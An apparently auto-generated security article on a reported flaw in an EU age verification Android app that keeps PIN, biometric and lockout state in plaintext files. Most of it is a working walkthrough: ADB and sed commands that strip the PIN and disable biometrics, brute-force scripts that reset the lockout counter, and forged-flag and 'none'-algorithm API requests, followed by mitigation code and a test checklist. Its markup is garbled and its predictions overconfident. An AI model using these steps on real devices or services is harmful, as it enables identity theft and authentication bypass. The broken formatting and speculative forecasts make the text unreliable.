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Introduction:
A newly unveiled European Union age verification app, designed to enforce online content restrictions, has been found to store critical security controls—including PIN validation, biometric flags, and lockout counters—in plaintext files on the user’s device. This catastrophic design flaw allows any attacker with physical or remote file access to delete a few entries, reset a counter, or flip a switch, thereby bypassing all authentication and extracting verified identity credentials as if they were the legitimate owner.
Learning Objectives:
- Identify and exploit insecure local storage of authentication controls in mobile applications.
- Execute file tampering attacks on Android (with or without root) using ADB and Linux commands.
- Implement hardware-backed credential binding, server-side validation, and secure integrity checks to prevent such bypasses.
You Should Know:
- Anatomy of the Flaw: Plaintext Security Files on Android
The app stores its critical authentication state in an XML file (typically within `/data/data/
/shared_prefs/` or a custom directory). The PIN is not cryptographically tied to the user’s identity; instead, a simple flag like `"pin_set": true` and an obfuscated but reversible PIN value exist. Worse, the biometric check is a Boolean <code>"biometric_enabled": true/false</code>, and the lockout counter lives as a plain integer <code>"failed_attempts": 5</code>. Step‑by‑step guide to locate and inspect these files (non‑root device with debugging enabled or using backups): <ol> <li>Enable Developer Options and USB Debugging on the target Android device.</li> <li>Install the app and set up a test identity.</li> </ol> <h2 style="color: yellow;">3. Use ADB to create a backup:</h2> <h2 style="color: yellow;">`adb backup -f app_backup.ab -noapk com.eu.ageverification`</h2> <h2 style="color: yellow;">4. Convert the backup to a readable tar:</h2> `dd if=app_backup.ab bs=1 skip=24 | python -c "import zlib,sys; sys.stdout.write(zlib.decompress(sys.stdin.buffer.read()))" > app_backup.tar` <h2 style="color: yellow;">5. Extract and inspect:</h2> <h2 style="color: yellow;">`tar -xf app_backup.tar && grep -r "pin" apps/com.eu.ageverification/`</h2> <h2 style="color: yellow;">6. On a rooted device, directly navigate:</h2> <h2 style="color: yellow;">`adb shell`</h2> <h2 style="color: yellow;">`su`</h2> <h2 style="color: yellow;">`cd /data/data/com.eu.ageverification/shared_prefs`</h2> <h2 style="color: yellow;">`cat settings.xml`</h2> Expected findings: an entry like `<int name="pin_attempts" value="3" />` and <code><boolean name="biometric_required" value="true" /></code>. <h2 style="color: yellow;">2. Bypassing PIN and Biometrics: File Tampering Walkthrough</h2> Because the app re‑reads these files on every launch, an attacker can modify them to reset all protections. The original exploit mentioned deleting a “couple of entries” – likely the stored PIN hash or a “registration complete” flag. Here’s how to replicate it. <h2 style="color: yellow;">Using ADB on a rooted device:</h2> <h2 style="color: yellow;">1. Stop the app process:</h2> <h2 style="color: yellow;">`adb shell am force-stop com.eu.ageverification`</h2> <ol> <li>Overwrite the preferences file with a clean state (or edit selectively): </li> </ol> <h2 style="color: yellow;">`adb shell`</h2> <h2 style="color: yellow;">`su`</h2> <h2 style="color: yellow;">`cd /data/data/com.eu.ageverification/shared_prefs`</h2> <h2 style="color: yellow;">`sed -i '/pin_hash/d' settings.xml` Remove PIN entry</h2> <h2 style="color: yellow;">`sed -i 's/<int name="failed_attempts" value="[0-9]"/<int name="failed_attempts" value="0"/' settings.xml`</h2> <h2 style="color: yellow;">`sed -i 's/<boolean name="biometric_enabled" value="true"/<boolean name="biometric_enabled" value="false"/' settings.xml`</h2> 3. Restart the app – it will now behave as if no PIN was ever set, and the user can register a new PIN, gaining full access to the original verified identity. <h2 style="color: yellow;">Windows equivalent (using PowerShell over ADB):</h2> [bash] adb shell "su -c 'sed -i \"s/name=\\\"biometric_enabled\\\" value=\\\"true\\\"/name=\\\"biometric_enabled\\\" value=\\\"false\\\"/\" /data/data/com.eu.ageverification/shared_prefs/settings.xml'"
No root? If the app allows backup/restore (most do), restore a modified backup as shown in Section 1.
3. Exploiting the Lockout Mechanism: Reset Counter and Brute‑Force
The “too many attempts” lockout is just a text file counter. Reset it to zero and keep guessing the PIN indefinitely. This transforms a rate‑limited system into a brute‑force paradise.
Automated brute‑force script (Linux / Python):
import os
import time
target_pkg = "com.eu.ageverification"
pref_path = f"/data/data/{target_pkg}/shared_prefs/settings.xml"
for pin in range(0000, 10000):
Reset lockout counter before each attempt
os.system(f"adb shell su -c \"sed -i 's/<int name=\\\"failed_attempts\\\" value=\\\"[0-9]\\\"/<int name=\\\"failed_attempts\\\" value=\\\"0\\\"/' {pref_path}\"")
Enter PIN via ADB input (or UI automation)
os.system(f"adb shell input text {pin:04d} && adb shell input keyevent 66")
time.sleep(0.5)
Check if success flag appears (e.g., new preference)
Windows command loop (batch + sed for Windows):
@echo off for /l %%i in (0,1,9999) do ( adb shell su -c "busybox sed -i 's/failed_attempts value=\"[0-9]\"/failed_attempts value=\"0\"/' /data/data/com.eu.ageverification/shared_prefs/settings.xml" adb shell input text %%i adb shell input keyevent 66 )
This works because the lockout is client‑side only – no server‑side throttling or CAPTCHA.
4. Forensic Analysis: Detecting Such Weaknesses in Any App
Security testers can audit any Android app for similar flaws without source code. Use these commands to inspect APK contents and runtime behavior.
Linux / macOS forensic commands:
Download APK from device adb shell pm path com.eu.ageverification adb pull /data/app/com.eu.ageverification-/base.apk Decompile with jadx jadx base.apk -d decompiled_src Search for insecure storage patterns grep -r "shared_prefs" decompiled_src | grep -E "PIN|biometric|attempt" grep -r "MODE_WORLD_READABLE" decompiled_src Deprecated but dangerous grep -r "getSharedPreferences" -A 5 decompiled_src Check for hardware keystore usage grep -r "KeyStore|KeyGenParameterSpec" decompiled_src
Windows (using PowerShell and jadx.bat):
.\jadx.bat base.apk -d out Select-String -Path "out\.java" -Pattern "shared_prefs|PIN|biometric"
If no hardware binding or server‑side validation is found, the app is vulnerable.
5. Mitigation Strategies: Hardware Binding and Server‑Side Validation
Developers must never trust client‑side files for security decisions. The correct implementation uses Android Keystore with StrongBox, cryptographic binding of the PIN to the device, and server‑enforced rate limiting.
Step‑by‑step secure implementation (Android/Kotlin):
1. Generate a hardware‑backed key pair:
val keyGenerator = KeyPairGenerator.getInstance(KeyProperties.KEY_ALGORITHM_EC, "AndroidKeyStore")
val parameterSpec = KeyGenParameterSpec.Builder("identity_key",
KeyProperties.PURPOSE_SIGN or KeyProperties.PURPOSE_VERIFY)
.setDigests(KeyProperties.DIGEST_SHA256)
.setUserAuthenticationRequired(true) // Requires biometric or PIN unlock
.setInvalidatedByBiometricEnrollment(true)
.setIsStrongBoxBacked(true) // StrongBox for high security
.build()
keyGenerator.initialize(parameterSpec)
keyGenerator.generateKeyPair()
2. Store PIN as a salted hash, never in plaintext:
val pinHash = sha256(salt + pin + deviceAttestationId) // Send only the hash to server, never store on device alone
3. Server‑side lockout enforcement:
– Track failed attempts per user + device ID on backend.
– Implement exponential backoff and CAPTCHA after 3 failures.
– Never store lockout counter in local files.
4. Biometric check with crypto object:
val biometricPrompt = BiometricPrompt(...) val cryptoObject = BiometricPrompt.CryptoObject(signature) // Requires valid key // App cannot bypass; key is unusable without biometric verification
5. Integrity protection for any local file:
– Compute HMAC of preferences using a key derived from hardware attestation.
– Reject any tampered file before reading.
6. API Security and Cloud Hardening Lessons
The same flawed thinking appears in backend APIs – trusting client‑side “is_adult” flags or user IDs. Always treat client input as hostile.
Test API endpoints for client‑side trust:
Capture login request with Burp Suite, then replay with modified response
curl -X POST https://api.eu-verification.com/validate \
-H "Content-Type: application/json" \
-d '{"device_id":"abc","age_verified":true}' If server trusts this flag, it's broken
Check for missing signature validation
curl -X GET https://api.eu-verification.com/creds?user=123 \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0..." None algorithm
Cloud hardening checklist:
- Require proof of possession (e.g., signed challenges from device hardware).
- Never accept “verified=true” from client; re‑evaluate on every sensitive request.
- Use AWS KMS or Azure Key Vault to validate device attestation tokens.
- Implement certificate pinning and runtime integrity checks (SafetyNet / Play Integrity).
7. Penetration Testing Checklist for Similar Apps
Testers should include the following checks in any mobile assessment:
- [ ] Local storage audit: List all files in
/data/data/<package>/shared_prefs/. Are PINs, tokens, or lockout counters stored in plaintext? - [ ] Backup bypass: Run `adb backup` and restore modified files – does the app accept them?
- [ ] Biometric override: Modify Boolean flag from `true` to `false` – does the app skip biometric check?
- [ ] Lockout reset: Increment failed attempts until lockout, then reset counter – can you continue guessing?
- [ ] Root detection evasion: Does the app implement root detection? If not, all the above become trivial.
- [ ] Server‑side replay: Capture API requests that verify age – can you replay them with altered parameters?
Automated testing command (using MobSF or Objection):
objection -g com.eu.ageverification explore env variables list android heap search "failed_attempts" file download /data/data/com.eu.ageverification/shared_prefs/settings.xml
What Undercode Say:
- Client‑side security is an oxymoron. Any app that stores authentication state or rate‑limiting counters in a file the user can edit is not secure – it’s a facade. The EU app’s failure to use hardware-backed keystores or server-side validation is a textbook anti-pattern.
- Regulation without rigorous testing is dangerous. The EU rushed to deploy an age verification mandate, but the underlying implementation ignored decades of mobile security best practices. This incident will likely force a recall and a shift toward standards like ISO 27001 for identity apps.
Prediction:
This exploit will set back EU digital identity initiatives by at least 12–18 months, as public trust collapses. Expect mandatory security audits for all eIDAS 2.0 wallet providers, with a shift toward remote attestation (e.g., Android’s Play Integrity API) and server‑driven authentication. Within six months, multiple class‑action lawsuits will emerge, and the app will be pulled or completely rewritten – likely using hardware‑bound credentials and zero‑trust architecture. Meanwhile, attackers will repurpose the technique against dozens of other “secure” local‑storage apps, from banking lite versions to corporate VPN clients.
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IT/Security Reporter URL:
Reported By: Robsegers The – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
